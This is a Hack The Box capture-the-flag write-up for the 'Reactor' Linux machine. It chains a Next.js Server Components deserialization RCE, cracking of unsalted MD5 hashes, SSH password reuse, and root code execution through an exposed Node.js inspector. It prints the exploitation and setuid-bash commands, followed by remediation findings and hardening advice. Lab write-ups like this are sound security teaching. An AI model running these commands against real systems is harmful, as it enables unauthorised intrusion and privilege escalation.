back to writeups

Reactor

Hack The Box · app.hackthebox.com/machines/Reactor · Season 11
Machine rank #11520 Linux Easy Season 11 Next.js RCE Node inspector User Root ● Completed
TL;DR A modern web-to-root chain on an easy box. A Next.js dashboard exposed a React Server Components deserialization issue giving remote command execution as the node user. The application's SQLite database held MD5 password hashes; one cracked and gave SSH as engineer. Root came from a root-owned Node.js uptime monitor running with --inspect bound to 127.0.0.1:9229 — attaching to the debugger is command execution inside a root process.
Target
reactor.htb — "ReactorWatch Core Monitoring System"
Host OS
Linux
Foothold
React Server Components RCE (React2Shell-style) as node
User
SQLite loot → MD5 crack → SSH as engineer
Root
Node.js inspector on 127.0.0.1:9229 in a root process

01Enumeration

nmap -sC -sV -p- <target>
PortServiceNotes
22sshOpenSSH
3000httpNext.js — "ReactorWatch | Core Monitoring System", X-Powered-By: Next.js

Two ports and a Next.js banner is already a strong steer. Route fuzzing does not reveal much here, because the attack surface is not a route in the traditional sense — it is the React Server Components action protocol.

02Foothold — React Server Components RCE

Next.js server actions accept a serialized payload identified by the Next-Action header. A React2Shell-style multipart POST abuses the deserialization of that payload to reach server-side command execution — no authentication required, and nothing that looks like a normal endpoint.

python3 reactor2shell.py http://<target>:3000 id | tee reactor-rce-id.txt
# 1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}

Execution lands as the node service user. The response comes back inside the RSC error digest field, which is a neat detail — the output channel is the framework's own error serialisation.

03Post-exploitation loot

With command execution, the application directory is the obvious first stop:

/opt/reactor-app/package.json
/opt/reactor-app/.env
/opt/reactor-app/reactor.db
/opt/reactor-app/app/page.js
/opt/uptime-monitor/worker.js      <-- note this one for later

The environment file gives the database location and some internal configuration:

DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
SENSOR_API_KEY=<redacted>
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production

The SQLite database has users and sensor_logs tables; users stores bare MD5 hashes with no salt.

hashcat -m 0 engineer.hash /usr/share/wordlists/rockyou.txt

The engineer hash falls to rockyou immediately, and the password is reused for SSH — the bridge from web access to system access.

ssh engineer@<target>
user.txt<redacted>

04Root — a debugger left open

engineer has no sudo rights, but process enumeration finds the real issue:

sudo -l          # user engineer may not run sudo on reactor
ps auxww | grep -- '--inspect'
# root 1420 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
ss -lntup | grep 9229
# LISTEN 0 511 127.0.0.1:9229

The Node.js inspector is a full debugging interface: anyone who can connect to it can evaluate arbitrary JavaScript inside that process. The process is root, so the debugger is a root shell with extra steps. Binding it to localhost is not a control — any local user can reach localhost.

node inspect 127.0.0.1:9229
# connecting to 127.0.0.1:9229 ... ok

debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
# 'uid=0(root) gid=0(root) groups=0(root)\n'

Confirm root execution first with id, then build something stable:

debug> exec("process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash').toString()")
debug> exec("process.mainModule.require('child_process').execSync('chmod 4755 /tmp/rootbash').toString()")

engineer@reactor:~$ /tmp/rootbash -p
rootbash-5.2# id
# uid=1000(engineer) euid=0(root)
root.txt<redacted>

05If this were your environment

Finding 1 · Critical

Node.js inspector enabled on a root-owned production process

--inspect=127.0.0.1:9229 on a root process gives every local user arbitrary code execution as root. The localhost bind limits remote access but does nothing once an attacker has any local shell — which the web RCE already provided.

How I would fix it
NIST 800-53 r5: CM-7 least functionality (disable debug interfaces) · AC-6 least privilege · CM-6 configuration settings · SC-7 boundary protection
CIS Controls v8: 4.x secure configuration · 4.8 disable unnecessary services
Finding 2 · Critical

Unauthenticated RCE through React Server Components

The Next.js server-action deserialization path allowed command execution as the application user with no authentication, through a mechanism ordinary route enumeration never surfaces.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · SI-10 input validation · AC-6 least privilege · RA-5 vulnerability scanning
Finding 3 · High

Unsalted MD5 password hashes, reused for SSH

The application stored bare MD5 hashes, and the recovered password also worked for the operating system account — turning an application compromise into interactive host access.

How I would fix it
NIST 800-53 r5: IA-5 authenticator management · SC-28 protection of information at rest · AC-2 account management
CWE: CWE-916 use of password hash with insufficient computational effort

06Detection — the blue-team side

07Takeaways

◆If this were my environment

The application flaw yielded server-side code execution; weak credential storage and an exposed root debugger turned it into total compromise. I would remove every production debugging path and strengthen both software and secret lifecycles.

Priority controls
  • Patch Next.js and React Server Components promptly, pin dependencies, verify build artifacts and test releases against a defined application-security standard.
  • Use Argon2id or an equivalent adaptive password hash with unique salts; rotate credentials after any database exposure.
  • Never run Node inspection or debugging as root; bind diagnostics to a protected local socket and disable them in production builds.
  • Run the web tier as an unprivileged, sandboxed identity with read-only code and no access to production secrets beyond its exact role.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups